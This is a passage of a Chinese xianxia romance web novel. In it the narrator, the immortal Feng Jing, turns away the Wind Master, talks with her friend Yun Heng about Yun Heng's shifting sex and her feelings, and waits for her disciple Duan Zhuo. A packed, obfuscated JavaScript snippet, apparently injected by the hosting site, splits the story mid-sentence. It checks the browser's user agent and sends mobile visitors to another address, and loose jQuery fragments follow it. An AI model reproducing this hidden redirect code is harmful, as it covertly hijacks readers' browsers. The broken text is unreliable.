闻言,我冷声道:“不必。”
“若是并无其他事,还请风师大人请自行离去。”
我厌恶别人用我爹娘的事来威胁我不说,且风师雨伯二人能够与他们结仇,想来也不是好人。
风师在我身后长叹一口气道:“我知你介怀,当年之事是身不由己,各有依附,我与他们才站在了对立面,在那之前,我与你他们的关系不错。”
“他们乃至仙界之人不想叫你知晓这些,皆是为你好,我远远看着你长大,不禁在想,不让你知晓可是对的?有些事似乎我亦不能坐视不理。”
我知晓,风师这么说,不过是为了想让我心软,为了让我给他弟弟求情。
可我不吃这套。
我不喜欢这般任人摆布的感觉,亦不喜欢欠别人什么。
“我不想知道。”
拒绝亦并非我不想知晓,而是我有我自己的骨气,且受人恩惠,便要忠人之事的道理我亦懂。
我心中波澜起伏,可又如何?
风师叹了口气,便离去了。
*
又过了两日,我听见旁人说,雨伯受到了处置。
他被收回一身法术,打入凡尘,转入轮回三生三世,方可再回到仙界为仙。
他教徒无方,且任由弟子作乱人间,实在是有失仙德。
纵然是这样的结果,也是雨师四处奔走才有的。
不过此事倒是在我心头敲了一下警钟,我的弟子众多,但有出息的较少,且多数都是凡人,若是有一日我到了雨伯这样的地步,那当时因为段灼。
段灼是魔尊之子,且母亲又是狼族,就算如今妖力低微,以后如何却也还说不定。
不知以后,我是否也会落得个人人喊打的地步。
*
云恒与我通灵,雨伯之事,不过闲谈,她察觉到我的心不在焉,便问:“你这几日可有好生修养,怎么听起来有些无精打采的?”
我与云恒说了风师与我所说之事。
我的本意是想问云恒可知晓风师口中所言,“对我好”的事。
云恒听完后道:“我从未听见此事,不过你如何能确定是他想叫你为雨伯说情而胡乱编出来的?”
我:“他为何要编出这些能够被轻易戳穿的谎言?”
云恒又道:“你爹娘死之时,我尚且与你一般年幼,不曾知晓这些,不过我可寻我爹帮你套套话。”
我知道云恒最有办法了,便道:“有劳你了。”
云恒的声音骤然拔了起来,语气不可思议:“如今你也学会与我道谢了!”
我笑:“做仙,总是要礼貌些。”
“平日不见你对我这样礼貌?”
我又道:“那如此就算做是你帮我,我在谄媚你,云恒女仙意下如何?”
云恒道:“这还算说得过去。”
我又问:“不过你还并未与我说明白,你因什么而病?”
云恒的情绪急转直下,笑声渐渐止息,似乎在斟酌如何与我道明白。
“其一为蟠桃的缘由,其二前几日我的分化开始不停转换,将我爹与我娘吓坏了。”
“不过我族女子身体分化不稳定已是常态了。”
我了然:“原来如此。”
如此一说,我便明白了为何当初云恒的爹娘都希望她能够分化成男子,原是因为在他们一族中,男子的身体会更稳定些。
我还在思索,云恒骤然开口问我:“封镜,若我分化成男子,你还会与我做朋友,还会与我像如今这般好吗?”
我不明白为何云恒会突然问我这个问题,朋友自是不挑男女的。
我道:“自然,我们会一直都是好友,不过……”
“不过你知晓我不能与男子接触,若真如此,想来你是不能够再与我贴身接触了。”
云恒轻轻“嗯”了一声道:“我知道。”
她又问我:“小镜儿,你喜欢我吗?”
我愣住了,但还是回答道:“喜欢,若是不喜欢,我为何这些年会与你做朋友?”
云恒轻声:“嗯,也是。”
我不想再与他说这些,方才问我的问题叫我觉得奇怪,就连这个所谓的“喜欢”也让我觉得奇怪。
我岔开话题:“那如今你的身体可还好?”
云恒道:“自然好了,不过这种情况想来会反反复复,不知下一次多久会这样。”
云恒又轻声问我:“你会觉得我是怪物吗?”
她这副小心翼翼的模样倒是叫我有些不习惯。
我道:“这天上什么没有?我像是见识这般浅薄的仙吗?”
我道:“若是分化成男子不伤身体,我觉得分化成男子也未尝不可,毕竟在我看来,我可从未见过你喜欢哪个男子的,若是分化成男子后发现自己喜欢女子呢?”
我这话只是开玩笑的,谁知云恒却道:“那若是有一日我分化成男子后,喜欢的是你呢?”
“封镜,你会觉得我恶心吗?”
我愣住了。
我从未想过这些,从未想过还有这么个可能性。
我问:“云恒,你是与我开玩笑的吧?”
云恒不说话。
我又道:“其实我不知道,但说恶心,大概是不会的。”
“若是真的喜欢我,我会觉得你有些可怜,毕竟若是有一日我们成了道侣,你可知你需要经历的是一辈子都不能够触碰我,如此,你能接受?”
我并非告知她万事都有可能性,我是想要打消她这个念头。
“我自然能接受,我与你相处百年,没有人比我更了解你!”
我却并未想到云恒会这般决绝,我道:“我可不想,若是有朝一日我当真与谁在一起了,那想来是一个我能够触碰身体的人。”
话音落到此处,那头的云恒沉默了。
而我想到的第一个人,是段灼。
我却并无可能与段灼结为道侣。
我不知再说些什么好,只得安慰她这几日好好休息,别想这么多。
我与云恒之间再无别的要说,不知谁先开口说了句有事,通灵音便挂断了。
我倒是松了口气。
佯装不理解云恒话中的含义,其实我真的不希望是我想的那样。
若是这个人,我能够与她做许多年的朋友,那以后多半我亦不可能与这个人在一起。
而后,我又想到我回来这么些天,段灼竟然还未回来,我心中多了几分作为师尊的愧疚。
我想,将他独自一人丢在那里,这种做法是否不太好。
*
几日后的雨夜,段灼终于回来了。
那时候我正准备入睡,浑身被雨水浸湿的少年微微拱起腰,如一张弓,伫立在殿外一整夜。
我听着雨声和轰鸣的雷声,听着他微弱无比的呼吸声,就这般过了一夜。
晨间鸡鸣,我睁开眼,屋外雨停了,段灼也消失不见了。
我心中不停与自己说着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672688|184828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我什么都没做错,可纵然过了这些时日,我仍然害怕看到段灼的眼睛。
我起身步于庭院外,那桃花精环绕而上,问道:“女仙昨夜睡得可还好?”
照理来说,昨夜那样的雨,这地上当是湿润的,是布满残缺桃花的,可我一出来,便看见这地上除了有些湿润外,干干净净一片。
我道:“自然一切都好。”
自我回来以后,她似乎日日都担心我的身体状况,总是问我今日可好,昨日可好?
今日,她的神色倒是有些紧张,且还有些欲言又止。
我问道:“还有何事?”
桃花精又问:“女仙觉得今日成这庭院有何不同?”
我暼了一眼,大概知晓她的意思是想告诉我,有没有注意到有人来过。
“我知道你想说什么,可是那妖族少年来过?”
桃花精立刻将脑袋点得跟骰子似的。
我又道:“他来其实并不稀奇,毕竟是我的弟子。”
桃花精又惊讶了,她颤抖得整个桃花树都在轻轻颤抖,就像是我说的是什么惊天动地的事。
“他他他他竟然是女仙的弟子!女仙从未与我说过!”
我:“……”
其实段灼也曾在白日里来过我的寝殿中,不过非常凑巧的是,段灼每次来,桃花精都在睡觉。
于是乎,她不知这是我的弟子,只当是偷偷潜入我寝殿中的小妖,且我认识这小妖,他的行径似乎都得我的默许。
但凡她白日里少贪睡一些,都能知晓段灼是我的徒弟。
桃花精不满道:“女仙这是什么眼神!一副我很是无知的样子!我可是个小精怪,我纵然再无知也是要面子的!”
我笑道:“究竟是谁与你说的,小精怪也是要面子的?”
桃花精理直气壮道:“并无人与我说!”
我被她这副模样逗得开怀大笑。
我道:“不然,你为何觉得我与他什么关系都不是,还能够应允他进出我的寝殿?”
桃花精思索后道:“许是……女仙喜欢他?”
我:“?”
云恒也曾与她说过差不多的话,我实在是不明白,我究竟做了什么事,叫他们会觉得我喜欢段灼。
我反驳道:“绝无可能!”
桃花精道:“为何绝无可能?月老爷爷都说了……”
她清了清嗓子,一本正经摇头晃脑道:“感情之事,却非人力而择之,或成兰因絮果,或成幸福美满,万般皆命。”
我嗤笑问她:“那你可知其中的‘兰因絮果’四字为何意?”
桃花精绞尽脑汁道:“如兰花馨香的相遇,如柳絮四散的结果?”
我道:“歪打正着。不过千千万万凡人都求不来的姻缘线,见不到的月老,竟日日给你们这些小精怪讲些神啊鬼啊的姻缘道理。”
桃花精听不懂后半句,只停了前半句觉得我在夸赞她,昂首挺胸叉腰,好不傲气:“哼哼。”
这时,守门弟子道:“师尊,段师弟求见。”
桃花精问我:“他口中的“段师弟”是女仙那位妖族弟子吗?”
我点头:“是啊。”
“让他进来吧。”
桃花精又问:“女仙,你的脸色怎么看起来有些怪怪的?”
我叹了口气道:“等以后你到了我这般处境,你便能明白其中缘由。”
桃花精又虚心请教道:“我要如何才能到女仙这般处境呢?”